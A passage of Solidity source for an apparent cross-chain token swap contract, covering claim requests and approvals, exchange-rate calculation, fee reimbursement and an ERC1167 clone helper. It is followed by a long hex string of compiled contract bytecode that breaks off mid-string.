receiver); if (claimRequest[hashAddress].amount == 0) { // new claim request _balanceOf[hashAddress] += uint256(amountA); // total swapped amount of foreign token claimID = uint64(++claimIdCounter); } else { // repeat claim request in case oracle issues. claimID = claimRequest[hashAddress].claimID; if (amountA == 0) { // cancel claim request emit ClaimApprove(hashAddress, claimID, 0, 0, claimRequest[hashAddress].isInvestment); _balanceOf[hashAddress] = _balanceOf[hashAddress] - claimRequest[hashAddress].amount; delete claimRequest[hashAddress]; return; } amountA = claimRequest[hashAddress].amount; } address[] memory users = new address[](3); users[0] = hashAddress; users[1] = _getHashAddress(tokenA, tokenB, address(0), address(0)); // Native hash address on foreign chain users[2] = _getHashAddress(tokenB, tokenA, address(0), address(0)); // Foreign hash address on foreign chain claimRequest[hashAddress] = Claim(uint64(pairID), sender, receiver, claimID, isInvestment, amountA, currentRate, foreignBalance); IValidator(validator).checkBalances(foreignFactory, users); emit ClaimRequest(hashAddress, claimID, amountA, isInvestment); //emit ClaimRequest(tokenA, tokenB, sender, receiver, amountA); } // Approve or disapprove claim request. function _claimBehalfApprove( address hashAddress, uint256 foreignBalance, // total user's tokens balance on foreign chain uint256 foreignSpent, // total tokens spent by SmartSwap pair uint256 nativeEncoded // (nativeSpent, nativeRate) = _decode(nativeEncoded) ) internal { Claim memory c = claimRequest[hashAddress]; delete claimRequest[hashAddress]; //address hashSwap = _getHashAddress(getPairByID[c.pairID].tokenB, getPairByID[c.pairID].tokenA, c.sender, c.receiver); uint256 balance = _balanceOf[hashAddress]; // swapped amount of foreign tokens (include current claim amount) uint256 amount = uint256(c.amount); // amount of foreign token to swap require (amount != 0, "No active claim request"); require(foreignBalance == c.foreignBalance, "Oracle error"); uint256 nativeAmount; uint256 rest; if (foreignBalance >= balance) { //approve, user deposited not less foreign tokens then want to swap uint256 pairID = uint256(c.pairID); (uint256 nativeRate, uint256 nativeSpent) = _decode(nativeEncoded); (nativeAmount, rest) = _calculateAmount( pairID, amount, uint256(c.currentRate), foreignSpent, nativeSpent, nativeRate ); if (rest != 0) { _balanceOf[hashAddress] = balance - rest; // not all amount swapped amount = amount - rest; // swapped amount } require(totalSupply[pairID] >= nativeAmount, "Not enough Total Supply"); // may be commented totalSupply[pairID] = totalSupply[pairID] - nativeAmount; if (c.isInvestment) _contributeFromSmartSwap(getPairByID[pairID].tokenA, c.receiver, c.sender, nativeAmount); else _transfer(getPairByID[pairID].tokenA, c.receiver, nativeAmount); } else { //disapprove, discard claim _balanceOf[hashAddress] = balance - amount; amount = 0; } emit ClaimApprove(hashAddress, c.claimID, nativeAmount, amount, c.isInvestment); } // use structure to avoid stack too deep struct CalcVariables { // 18 decimals nominator with decimals converter: // Foreign = Native * Rate(18) / nominatorNativeToForeign uint256 nominatorForeignToNative; // 10**(18 + foreign decimals - native decimals) uint256 nominatorNativeToForeign; // 10**(18 + native decimals - foreign decimals) uint256 localNative; // already swapped Native tokens = _balanceOf[hashNative] uint256 localForeign; // already swapped Foreign tokens = decoded _balanceOf[hashForeign] uint256 localForeignRate; // Foreign token price / Native token price = decoded _balanceOf[hashForeign] address hashNative; // _getHashAddress(tokenA, tokenB, address(0), address(0)); address hashForeign; // _getHashAddress(tokenB, tokenA, address(0), address(0)); } function _calculateAmount( uint256 pairID, uint256 foreignAmount, uint256 rate, // Foreign token price / Native token price = (Native amount / Foreign amount) uint256 foreignSpent, // already swapped Foreign tokens (got from foreign contract) uint256 nativeSpent, // already swapped Native tokens (got from foreign contract) uint256 nativeRate // Native token price / Foreign token price. I.e. on BSC side: BNB price / ETH price = 0.2 ) internal returns(uint256 nativeAmount, uint256 rest) { CalcVariables memory vars; { address tokenA = getPairByID[pairID].tokenA; address tokenB = getPairByID[pairID].tokenB; uint256 nativeDecimals = decimals[tokenA]; uint256 foreignDecimals = decimals[tokenB]; vars.nominatorForeignToNative = 10**(18+foreignDecimals-nativeDecimals); vars.nominatorNativeToForeign = 10**(18+nativeDecimals-foreignDecimals); vars.hashNative = _getHashAddress(tokenA, tokenB, address(0), address(0)); vars.hashForeign = _getHashAddress(tokenB, tokenA, address(0), address(0)); vars.localNative = _balanceOf[vars.hashNative]; (vars.localForeignRate, vars.localForeign) = _decode(_balanceOf[vars.hashForeign]); } // step 1. Check is it enough unspent native tokens { require(nativeSpent >= vars.localNative, "NativeSpent balance higher then remote"); uint256 nativeAvailable = nativeSpent - vars.localNative; // nativeAvailable - amount ready to spend native tokens // nativeRate = Native token price / Foreign token price. I.e. on BSC side BNB price / ETH price = 0.2 if (nativeAvailable != 0) { // ? uint256 requireAmount = foreignAmount * vars.nominatorNativeToForeign / nativeRate; if (requireAmount <= nativeAvailable) { nativeAmount = requireAmount; // use already swapped tokens foreignAmount = 0; } else { nativeAmount = nativeAvailable; foreignAmount = (requireAmount - nativeAvailable) * nativeRate / vars.nominatorNativeToForeign; } _balanceOf[vars.hashNative] += nativeAmount; } } require(totalSupply[pairID] >= nativeAmount,"ERR: Not enough Total Supply"); // step 2. recalculate rate for swapped tokens if (foreignAmount != 0) { // i.e. on BSC side: rate = ETH price / BNB price = 5 uint256 requireAmount = foreignAmount * rate / vars.nominatorForeignToNative; if (totalSupply[pairID] < nativeAmount + requireAmount) { requireAmount = totalSupply[pairID] - nativeAmount; rest = foreignAmount - (requireAmount * vars.nominatorForeignToNative / rate); foreignAmount = foreignAmount - rest; } nativeAmount = nativeAmount + requireAmount; require(vars.localForeign >= foreignSpent, "ForeignSpent balance higher then local"); uint256 foreignAvailable = vars.localForeign - foreignSpent; // vars.localForeignRate, foreignAvailable - rate and amount swapped foreign tokens if (foreignAvailable != 0) { // recalculate avarage rate (native amount / foreign amount) rate = ((foreignAvailable * vars.localForeignRate) + (requireAmount * vars.nominatorForeignToNative)) / (foreignAvailable + foreignAmount); } _balanceOf[vars.hashForeign] = _encode(rate, vars.localForeign + foreignAmount); } } // transfer fee to receiver and request SMART token as compensation. // tokenA - token that user send // amount - amount of tokens that user send // user - address of user function _transferFee(address tokenA, uint256 amount, address user, address licensee) internal { uint256 feeAmount = msg.value; uint256 compFee; // company fee if (tokenA < NATIVE_COINS) { require(feeAmount >= amount, "Insuficiant value"); // if native coin, then feeAmount = msg.value - swap amount feeAmount -= amount; compFee = amount * companyFee / 10000; // company fee } require(feeAmount >= processingFee + compFee, "Insufficient processing fee"); if (contractSmart == address(0)) return; // return if no reimbursement contract uint256 txGas = gasleft(); uint256 otherFee = feeAmount - processingFee; uint256 licenseeFeeAmount; uint256 licenseeFeeRate = IReimbursement(contractSmart).getLicenseeFee(licensee, address(this)); if (licenseeFeeRate != 0 && otherFee != 0) { if (tokenA < NATIVE_COINS) { licenseeFeeAmount = amount * licenseeFeeRate / 10000; } else { licenseeFeeAmount = (otherFee * licenseeFeeRate)/(licenseeFeeRate + companyFee); } } require(otherFee >= compFee + licenseeFeeAmount, "Insuficiant fee"); feeAmount -= licenseeFeeAmount; if (licenseeFeeAmount != 0) { address licenseeFeeTo = IReimbursement(contractSmart).requestReimbursement(user, licenseeFeeAmount, licensee); if (licenseeFeeTo == address(0)) { TransferHelper.safeTransferETH(user, licenseeFeeAmount); // refund to user } else { TransferHelper.safeTransferETH(licenseeFeeTo, licenseeFeeAmount); // transfer to fee receiver } } collectedFees += feeAmount; if(!isExcludedSender[user]) { txGas -= gasleft(); // get gas amount that was spent on Licensee fee feeAmount = ((feeAmount - processingFee) * companyFeeReimbursement + (processingFee + (txGas + 60000)*tx.gasprice) * swapGasReimbursement) / 100; if (feeAmount != 0) IReimbursement(contractSmart).requestReimbursement(user, feeAmount, reimbursementVault); } } // contribute from SmartSwap on user behalf function _contributeFromSmartSwap(address token, address to, address user, uint256 value) internal { if (token < NATIVE_COINS) { IAuction(to).contributeFromSmartSwap{value: value}(payable(user)); } else { IERC20(token).approve(to, value); IAuction(to).contributeFromSmartSwap(token, value, user); } } // call appropriate transfer function function _transfer(address token, address to, uint256 value) internal { if (token < NATIVE_COINS) TransferHelper.safeTransferETH(to, value); else TransferHelper.safeTransfer(token, to, value); } // encode 64 bits of rate (decimal = 9). and 192 bits of amount // into uint256 where high 64 bits is rate and low 192 bit is amount // rate = foreign token price / native token price function _encode(uint256 rate, uint256 amount) internal pure returns(uint256 encodedBalance) { require(amount < MAX_AMOUNT, "Amount overflow"); require(rate < MAX_AMOUNT, "Rate overflow"); encodedBalance = rate * MAX_AMOUNT + amount; } // decode from uint256 where high 64 bits is rate and low 192 bit is amount // rate = foreign token price / native token price function _decode(uint256 encodedBalance) internal pure returns(uint256 rate, uint256 amount) { rate = encodedBalance / MAX_AMOUNT; amount = uint128(encodedBalance); } function _getHashAddress( address tokenA, address tokenB, address sender, address receiver ) internal pure returns (address) { return address(uint160(uint256(keccak256(abi.encodePacked(tokenA, tokenB, sender, receiver))))); } /** * @dev Deploys and returns the address of a clone that mimics the behavior of `implementation`. * * This function uses the create opcode, which should never revert. */ function clone(address implementation) internal returns (address instance) { assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, implementation)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create(0, ptr, 0x37) } require(instance != address(0), "ERC1167: create failed"); } }
0x60806040526004361061034f5760003560e01c806399f7854a116101c6578063c74b6a5c116100f7578063efdcd97411610095578063f587477a1161006f578063f587477a14610b88578063fad45e8714610ba8578063fc0ba54514610bbe578063fca4a63314610bde57600080fd5b8063efdcd97414610b28578063f06604a414610b48578063f2fde38b14610b6857600080fd5b8063d104451a116100d1578063d104451a14610aa5578063d449a83214610ac5578063d4947ce414610af2578063de1881a814610b1257600080fd5b8063c74b6a5c14610a45578063c93026d614610a65578063ceac4dce14610a8557600080fd5b8063b682c0bb11610164578063bbb671901161013e578063bbb67190146109b8578063bd85b039146109d8578063c4d66de814610a05578063c6276c9714610a2557600080fd5b8063b682c0bb14610907578063b7492daf14610968578063b8c6f5791461099857600080fd5b8063a878483f116101a0578063a878483f1461082a578063ad419c591461084a578063af98f7571461086a578063b3f00674146108e757600080fd5b806399f7854a146107ce5780639a1032b3146107fe578063a27a88591461081457600080fd5b806364d22301116102a05780637d9f6db51161023e5780638da5cb5b116102185780638da5cb5b1461075b5780638dd09c37146107795780639461446d1461079957806399d32fc4146107b957600080fd5b80637d9f6db51461071257806380c4f94a14610732578063850853fd1461074857600080fd5b806370a082311161027a57806370a082311461066457806373fee4691461069a57806379bd4cd3146106ba5780637c28115b146106f257600080fd5b806364d223011461054a578063653c3c8f1461056057806365723c2d1461057357600080fd5b8063303d19d51161030d578063416fe85c116102e7578063416fe85c146104ba578063447f25ef146104da57806351cd5e43146104ef5780635cbed2631461052a57600080fd5b8063303d19d51461043f57806334cdcf26146104525780633a5381b51461048257600080fd5b806236d2d314610354578063020b01ac146103995780631327d3d8146103bb5780631ed85723146103db5780632b3e7cdb146103ff5780632d8e9a141461041f575b600080fd5b34801561036057600080fd5b5061038461036f366004613acf565b60096020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b3480156103a557600080fd5b506103b96103b4366004613acf565b610bfe565b005b3480156103c757600080fd5b506103846103d6366004613acf565b610c75565b3480156103e757600080fd5b506103f1600c5481565b604051908152602001610390565b34801561040b57600080fd5b5061038461041a366004613acf565b610cd4565b34801561042b57600080fd5b5061038461043a366004613dd6565b610d32565b61038461044d366004613acf565b610d9b565b34801561045e57600080fd5b5061038461046d366004613acf565b60046020526000908152604090205460ff1681565b34801561048e57600080fd5b506002546104a2906001600160a01b031681565b6040516001600160a01b039091168152602001610390565b3480156104c657600080fd5b506103846104d5366004613dd6565b610ec0565b3480156104e657600080fd5b506103f1610f5f565b3480156104fb57600080fd5b5061050f61050a366004613ec0565b610f75565b60408051938452602084019290925290820152606001610390565b34801561053657600080fd5b50610384610545366004613e04565b61101a565b34801561055657600080fd5b506103f160135481565b61038461056e366004613ced565b61107a565b34801561057f57600080fd5b5061060161058e366004613acf565b60196020526000908152604090208054600182015460028301546003909301546001600160401b0380841694600160401b9094046001600160a01b039081169490841693600160a01b810490921692600160e01b90920460ff16916001600160801b0380831692600160801b9004169088565b604080516001600160401b03998a1681526001600160a01b0398891660208201529690971696860196909652929095166060840152151560808301526001600160801b0393841660a08301529290921660c083015260e082015261010001610390565b34801561067057600080fd5b506103f161067f366004613acf565b6001600160a01b031660009081526017602052604090205490565b3480156106a657600080fd5b506001546104a2906001600160a01b031681565b3480156106c657600080fd5b506103f16106d5366004613b09565b601560209081526000928352604080842090915290825290205481565b3480156106fe57600080fd5b50601c546104a2906001600160a01b031681565b34801561071e57600080fd5b506005546104a2906001600160a01b031681565b34801561073e57600080fd5b506103f1600d5481565b610384610756366004613c9c565b6110a7565b34801561076757600080fd5b506000546001600160a01b03166104a2565b34801561078557600080fd5b50610384610794366004613b9e565b6110b6565b3480156107a557600080fd5b506103846107b4366004613ec0565b611119565b3480156107c557600080fd5b506103f1611175565b3480156107da57600080fd5b506103846107e9366004613acf565b601a6020526000908152604090205460ff1681565b34801561080a57600080fd5b506103f160035481565b34801561082057600080fd5b506103f1600e5481565b34801561083657600080fd5b506104a2610845366004613b42565b6111b2565b34801561085657600080fd5b50610384610865366004613e68565b6111c9565b34801561087657600080fd5b506108ba610885366004613acf565b601860205260009081526040902080546001909101546001600160401b03821691600160401b90046001600160a01b03169083565b604080516001600160401b0390941684526001600160a01b03909216602084015290820152606001610390565b3480156108f357600080fd5b506010546104a2906001600160a01b031681565b34801561091357600080fd5b50610948610922366004613ec0565b601460205260009081526040902080546001909101546001600160a01b03918216911682565b604080516001600160a01b03938416815292909116602083015201610390565b34801561097457600080fd5b50610384610983366004613acf565b600a6020526000908152604090205460ff1681565b3480156109a457600080fd5b506103846109b3366004613acf565b611222565b3480156109c457600080fd5b506103846109d3366004613d87565b611282565b3480156109e457600080fd5b506103f16109f3366004613ec0565b60166020526000908152604090205481565b348015610a1157600080fd5b506103b9610a20366004613acf565b611304565b348015610a3157600080fd5b50610384610a40366004613b09565b611395565b348015610a5157600080fd5b506103f1610a60366004613b42565b611402565b348015610a7157600080fd5b506103f1610a80366004613e30565b611437565b348015610a9157600080fd5b50601d546104a2906001600160a01b031681565b348015610ab157600080fd5b506104a2610ac0366004613c38565b6115c4565b348015610ad157600080fd5b506103f1610ae0366004613acf565b60126020526000908152604090205481565b348015610afe57600080fd5b50610384610b0d366004613dd6565b6116c7565b348015610b1e57600080fd5b506103f1600f5481565b348015610b3457600080fd5b50610384610b43366004613acf565b611731565b348015610b5457600080fd5b506006546104a2906001600160a01b031681565b348015610b7457600080fd5b506103b9610b83366004613acf565b611791565b348015610b9457600080fd5b50610384610ba3366004613ec0565b61188a565b348015610bb457600080fd5b506103f1600b5481565b348015610bca57600080fd5b50610384610bd9366004613c38565b61190d565b348015610bea57600080fd5b50610384610bf9366004613ef2565b611979565b33610c116000546001600160a01b031690565b6001600160a01b031614610c405760405162461bcd60e51b8152600401610c3790614005565b60405180910390fd5b6001600160a01b038116610c5357600080fd5b601d80546001600160a01b0319166001600160a01b0392909216919091179055565b600033610c8a6000546001600160a01b031690565b6001600160a01b031614610cb05760405162461bcd60e51b8152600401610c3790614005565b50600280546001600160a01b0319166001600160a01b03831617905560015b919050565b600033610ce96000546001600160a01b031690565b6001600160a01b031614610d0f5760405162461bcd60e51b8152600401610c3790614005565b50600180546001600160a01b0383166001600160a01b0319909116178155919050565b600033610d476000546001600160a01b031690565b6001600160a01b031614610d6d5760405162461bcd60e51b8152600401610c3790614005565b506001600160a01b0382166000908152600960205260409020805460ff191682151517905560015b92915050565b3360009081526009602052604081205460ff16610dfa5760405162461bcd60e51b815260206004820152601760248201527f4e6f7420616e2045786368616e676520616464726573730000000000000000006044820152606401610c37565b600f54600290600190600090610e1090346141a6565b9050600e54612710610e229190614062565b610e2e82612710614187565b610e38919061407a565b9050846001600160a01b0316336001600160a01b03167ff21d745575776c13a19c2b9cd4711368a169524d76ec72126d4d1b7fd9346d6534604051610e7f91815260200190565b60405180910390a3610e9483828760006119ed565b600554610eb5908490849088906001600160a01b0316856001600080611e41565b506001949350505050565b600033610ed56000546001600160a01b031690565b6001600160a01b031614610efb5760405162461bcd60e51b8152600401610c3790614005565b6001600160a01b038316600081815260046020908152604091829020805460ff191686151590811790915591519182527f013f2d5452b8ade9ddedece9c58ffc5a612d8c9d10349b58008c881caa924a86910160405180910390a250600192915050565b60006001601154610f7091906141a6565b905090565b60008181526014602052604081208054600190910154829182918291610fa9916001600160a01b0391821691168380611f7f565b6000868152601460205260408120600181015490549293509091610fdb916001600160a01b0390811691168380611f7f565b6001600160a01b0380841660009081526017602052604080822054928416825290205490965090915061100d90611fe0565b9597959650949350505050565b6002546000906001600160a01b031633146110675760405162461bcd60e51b815260206004820152600d60248201526c2737ba103b30b634b230ba37b960991b6044820152606401610c37565b6110718383612003565b50600192915050565b6000611088898733886119ed565b6110988989338a8a898989611e41565b50600198975050505050505050565b6000610eb58585338686612146565b3360009081526004602052604081205460ff16806110ed5750336110e26000546001600160a01b031690565b6001600160a01b0316145b6111095760405162461bcd60e51b8152600401610c3790613fce565b61109889898989898989896125b6565b3360009081526004602052604081205460ff16806111505750336111456000546001600160a01b031690565b6001600160a01b0316145b61116c5760405162461bcd60e51b8152600401610c3790613fce565b50600f55600190565b6010546000906001600160a01b0316331461118f57600080fd5b600160115461119e91906141a6565b600160115590506111af3382612cc6565b90565b60006111c085858585611f7f565b95945050505050565b6002546000906001600160a01b031633146112165760405162461bcd60e51b815260206004820152600d60248201526c2737ba103b30b634b230ba37b960991b6044820152606401610c37565b610eb585858585612d94565b6000336112376000546001600160a01b031690565b6001600160a01b03161461125d5760405162461bcd60e51b8152600401610c3790614005565b50600580546001600160a01b0383166001600160a01b03199091161790556001919050565b3360009081526004602052604081205460ff16806112b95750336112ae6000546001600160a01b031690565b6001600160a01b0316145b6112d55760405162461bcd60e51b8152600401610c3790613fce565b6005546001906112f7908890839089906001600160a01b0316828a8a8a6125b6565b5060019695505050505050565b6001600160a01b0381161580159061132557506000546001600160a01b0316155b61132e57600080fd5b600080546001600160a01b0319166001600160a01b0383161781556040513391907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060056003556064600b819055600c819055600d556000600e556001601155565b6000336113aa6000546001600160a01b031690565b6001600160a01b0316146113d05760405162461bcd60e51b8152600401610c3790614005565b50600680546001600160a01b039384166001600160a01b031991821617909155601c8054929093169116179055600190565b60006017600061141487878787611f7f565b6001600160a01b0316815260208101919091526040016000205495945050505050565b60003361144c6000546001600160a01b031690565b6001600160a01b0316146114725760405162461bcd60e51b8152600401610c3790614005565b6001600160a01b03808616600090815260156020908152604080832093871683529290522054156114d25760405162461bcd60e51b815260206004820152600a60248201526914185a5c88195e1a5cdd60b21b6044820152606401610c37565b60006013600081546114e3906141bd565b91829055506001600160a01b0380881660008181526015602090815260408083208a86168085529083528184208790558151808301835285815280840191825287855260148452828520905181549088166001600160a01b03199182161782559151600190910180549190971691161790945591815260129091522054909150611583576001600160a01b03861660009081526012602052604090208590555b6001600160a01b0384166000908152601260205260409020546111c0576001600160a01b038416600090815260126020526040902083905595945050505050565b601d546000906115dc906001600160a01b0316613109565b60405163256dbbc360e21b81523360048201526001600160a01b03888116602483015287811660448301528681166064830152858116608483015260a48201859052919250908216906395b6ef0c9060c401600060405180830381600087803b15801561164857600080fd5b505af115801561165c573d6000803e3d6000fd5b505050506001600160a01b038116600081815260046020908152604091829020805460ff191660011790558151338152908101929092527fa1eff58c8543affdfb5afa33295ae122f9b6fd5a1f6b5ba48a39014cfcb70b5d910160405180910390a195945050505050565b6000336116dc6000546001600160a01b031690565b6001600160a01b0316146117025760405162461bcd60e51b8152600401610c3790614005565b506001600160a01b0382166000908152600a60205260409020805482151560ff19909116179055600192915050565b6000336117466000546001600160a01b031690565b6001600160a01b03161461176c5760405162461bcd60e51b8152600401610c3790614005565b50601080546001600160a01b0383166001600160a01b03199091161790556001919050565b336117a46000546001600160a01b031690565b6001600160a01b0316146117ca5760405162461bcd60e51b8152600401610c3790614005565b6001600160a01b03811661182f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610c37565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60003361189f6000546001600160a01b031690565b6001600160a01b0316146118c55760405162461bcd60e51b8152600401610c3790614005565b61271082106119045760405162461bcd60e51b815260206004820152600b60248201526a746f6f206269672066656560a81b6044820152606401610c37565b50600e55600190565b3360009081526004602052604081205460ff16806119445750336119396000546001600160a01b031690565b6001600160a01b0316145b6119605760405162461bcd60e51b8152600401610c3790613fce565b61196d8686868686612146565b50600195945050505050565b60003361198e6000546001600160a01b031690565b6001600160a01b0316146119b45760405162461bcd60e51b8152600401610c3790614005565b82600114156119c757600b829055611071565b82600214156119da57600d829055611071565b82600314156110715750600c5550600190565b34600060096001600160a01b0387161015611a705784821015611a465760405162461bcd60e51b8152602060048201526011602482015270496e737566696369616e742076616c756560781b6044820152606401610c37565b611a5085836141a6565b9150612710600e5486611a639190614187565b611a6d919061407a565b90505b80600f54611a7e9190614062565b821015611acd5760405162461bcd60e51b815260206004820152601b60248201527f496e73756666696369656e742070726f63657373696e672066656500000000006044820152606401610c37565b6006546001600160a01b0316611ae4575050611e3b565b60005a90506000600f5484611af991906141a6565b60065460405163016175dd60e51b81526001600160a01b03888116600483015230602483015292935060009283921690632c2ebba09060440160206040518083038186803b158015611b4a57600080fd5b505afa158015611b5e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b829190613ed9565b90508015801590611b9257508215155b15611beb5760096001600160a01b038b161015611bc757612710611bb6828b614187565b611bc0919061407a565b9150611beb565b600e54611bd49082614062565b611bde8285614187565b611be8919061407a565b91505b611bf58286614062565b831015611c365760405162461bcd60e51b815260206004820152600f60248201526e496e737566696369616e742066656560881b6044820152606401610c37565b611c4082876141a6565b95508115611cfa576006546040516305c2b27f60e21b81526000916001600160a01b03169063170ac9fc90611c7d908c9087908d90600401613fab565b602060405180830381600087803b158015611c9757600080fd5b505af1158015611cab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ccf9190613aec565b90506001600160a01b038116611cee57611ce98984612cc6565b611cf8565b611cf88184612cc6565b505b8560116000828254611d0c9190614062565b90915550506001600160a01b0388166000908152600a602052604090205460ff16611e34575a611d3c90856141a6565b93506064600b543a8661ea60611d529190614062565b611d5c9190614187565b600f54611d699190614062565b611d739190614187565b600c54600f54611d83908a6141a6565b611d8d9190614187565b611d979190614062565b611da1919061407a565b95508515611e3457600654601c546040516305c2b27f60e21b81526001600160a01b039283169263170ac9fc92611de0928d928c921690600401613fab565b602060405180830381600087803b158015611dfa57600080fd5b505af1158015611e0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e329190613aec565b505b5050505050505b50505050565b6001600160a01b038089166000908152601560209081526040808320938b168352929052205480611e845760405162461bcd60e51b8152600401610c379061403a565b60096001600160a01b038a161115611ea257611ea2898830886131a1565b6000611eb08a8a8a8a611f7f565b6001600160a01b038116600090815260176020526040812080549293508892909190611edd908490614062565b909155505060008281526016602052604081208054889290611f00908490614062565b9091555050604080516001600160a01b03898116825260208201899052871515828401526001600160801b0387811660608401528616608083015291518a8316928c811692908e16917f1fd5b8ab807d3f913c0684d01a9f0fc6cec1378222d353ac37ab6b5437ecd0b99181900360a00190a450505050505050505050565b6040516bffffffffffffffffffffffff19606086811b8216602084015285811b8216603484015284811b8216604884015283901b16605c82015260009060700160408051601f19818403018152919052805160209091012095945050505050565b600080611ff1600160801b8461407a565b936001600160801b0390931692915050565b6001600160a01b038083166000818152601860209081526040808320815160608101835281546001600160401b038082168352600160401b8204909816828601526001830180548386019081529787526001600160e01b0319909116909255908490556017909252909120549151815191939091168285116120ae57600081815260146020908152604090912054908501516120a9916001600160a01b031690846132d1565b6120fb565b6120b88284614062565b6001600160a01b038716600090815260176020908152604080832084905584835260169091528120805492955084929091906120f5908490614062565b90915550505b856001600160a01b03167f2a96d42adb2fdc01993ab669d34b03082ddba40076acd3d6ca4268f8b6c8df808460405161213691815260200190565b60405180910390a2505050505050565b3360009081526004602052604090205460ff16612334576002546040516329e2caad60e01b8152600160048201526001600160a01b03909116906329e2caad90602401602060405180830381600087803b1580156121a357600080fd5b505af11580156121b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121db9190613ed9565b34101561221d5760405162461bcd60e51b815260206004820152601060248201526f496e73756666696369656e742066656560801b6044820152606401610c37565b346011600082825461222f9190614062565b90915550506006546001600160a01b03161580159061226757506001600160a01b0383166000908152600a602052604090205460ff16155b156123345760006064600d543a61ea606122819190614187565b61228b9034614062565b6122959190614187565b61229f919061407a565b9050801561233257600654601c546040516305c2b27f60e21b81526001600160a01b039283169263170ac9fc926122de92899287921690600401613fab565b602060405180830381600087803b1580156122f857600080fd5b505af115801561230c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123309190613aec565b505b505b600061234286868686611f7f565b6001600160a01b038088166000908152601560209081526040808320938a1683529290522054909150806123885760405162461bcd60e51b8152600401610c379061403a565b6001600160a01b03821660009081526018602052604090206001015461245d576001600160a01b0382166000908152601760205260409020548381108015906123d057508315155b61240b5760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b6044820152606401610c37565b6000828152601660205260409020546124259085906141a6565b60008381526016602052604090205561243e84826141a6565b6001600160a01b0384166000908152601760205260409020555061247c565b6001600160a01b03821660009081526018602052604090206001015492505b604080516060810182526001600160401b0383811682526001600160a01b03888116602080850191825284860189815288841660008181526018909352918790209551865493518516600160401b026001600160e01b03199094169516949094179190911784559151600193840155600254925493516377b76ec360e01b81529381166004850152602484019190915216906377b76ec390604401602060405180830381600087803b15801561253157600080fd5b505af1158015612545573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125699190613ed9565b50816001600160a01b03167f2a388ab1246694e15fe848701c595699d03e5872058da3da5c7b783d0754dc09846040516125a591815260200190565b60405180910390a250505050505050565b6001600160a01b038088166000908152601560209081526040808320938c1683529290522054806125f95760405162461bcd60e51b8152600401610c379061403a565b600254604051631bcdc3f560e11b81526001600160a01b038a811660048301528b81166024830152600092169063379b87ea90604401602060405180830381600087803b15801561264957600080fd5b505af115801561265d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126819190613ed9565b6126956001600160801b0386166064614187565b61269f919061407a565b6003549091506126b08160646141a6565b82101580156126c957506126c5816064614062565b8211155b6127025760405162461bcd60e51b815260206004820152600a60248201526957726f6e67207261746560b01b6044820152606401610c37565b6000806127118d8d8d8d611f7f565b6001600160a01b0381166000908152601960205260409020600201549091506001600160801b031661278f576001600160a01b038116600090815260176020526040812080546001600160801b038b16929061276e908490614062565b9091555050601b8054600090612783906141bd565b91829055509150612903565b6001600160a01b038116600090815260196020526040902060010154600160a01b90046001600160401b031691506001600160801b0388166128db576001600160a01b03811660008181526019602090815260408083206001015481516001600160401b038816815292830184905290820192909252600160e01b90910460ff16151560608201527f6ed391c0e4aedeb8c0f1b1723745030b0d6ce1c087b17c58035fa842dce1b8929060800160405180910390a26001600160a01b03811660009081526019602090815260408083206002015460179092529091205461287f916001600160801b0316906141a6565b6001600160a01b039091166000908152601760209081526040808320939093556019905290812080546001600160e01b03191681556001810180546001600160e81b0319169055600281018290556003015550612cbc92505050565b6001600160a01b0381166000908152601960205260409020600201546001600160801b031697505b6040805160038082526080820190925260009160208201606080368337019050509050818160008151811061293a5761293a6141ee565b60200260200101906001600160a01b031690816001600160a01b0316815250506129678e8e600080611f7f565b8160018151811061297a5761297a6141ee565b60200260200101906001600160a01b031690816001600160a01b0316815250506129a78d8f600080611f7f565b816002815181106129ba576129ba6141ee565b60200260200101906001600160a01b031690816001600160a01b031681525050604051806101000160405280876001600160401b031681526020018d6001600160a01b031681526020018c6001600160a01b03168152602001846001600160401b031681526020018b151581526020018a6001600160801b03168152602001896001600160801b031681526020018881525060196000846001600160a01b03166001600160a01b0316815260200190815260200160002060008201518160000160006101000a8154816001600160401b0302191690836001600160401b0316021790555060208201518160000160086101000a8154816001600160a01b0302191690836001600160a01b0316021790555060408201518160010160006101000a8154816001600160a01b0302191690836001600160a01b0316021790555060608201518160010160146101000a8154816001600160401b0302191690836001600160401b03160217905550608082015181600101601c6101000a81548160ff02191690831515021790555060a08201518160020160006101000a8154816001600160801b0302191690836001600160801b0316021790555060c08201518160020160106101000a8154816001600160801b0302191690836001600160801b0316021790555060e08201518160030155905050600260009054906101000a90046001600160a01b03166001600160a01b03166303790331600160009054906101000a90046001600160a01b0316836040518363ffffffff1660e01b8152600401612c04929190613f4f565b602060405180830381600087803b158015612c1e57600080fd5b505af1158015612c32573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c569190613ed9565b50604080516001600160401b03851681526001600160801b038b1660208201528b15158183015290516001600160a01b038416917f197296bc2f77abeae71e16686a5be3e9b348742a4354734e743df8a7a0b38c81919081900360600190a25050505050505b5050505050505050565b604080516000808252602082019092526001600160a01b038416908390604051612cf09190613f14565b60006040518083038185875af1925050503d8060008114612d2d576040519150601f19603f3d011682016040523d82523d6000602084013e612d32565b606091505b5050905080612d8f5760405162461bcd60e51b815260206004820152602360248201527f5472616e7366657248656c7065723a204554485f5452414e534645525f46414960448201526213115160ea1b6064820152608401610c37565b505050565b6001600160a01b03808516600081815260196020908152604080832081516101008101835281546001600160401b038082168352600160401b8204891683870152600184018054998a1684870152600160a01b8a04909116606084015260ff600160e01b8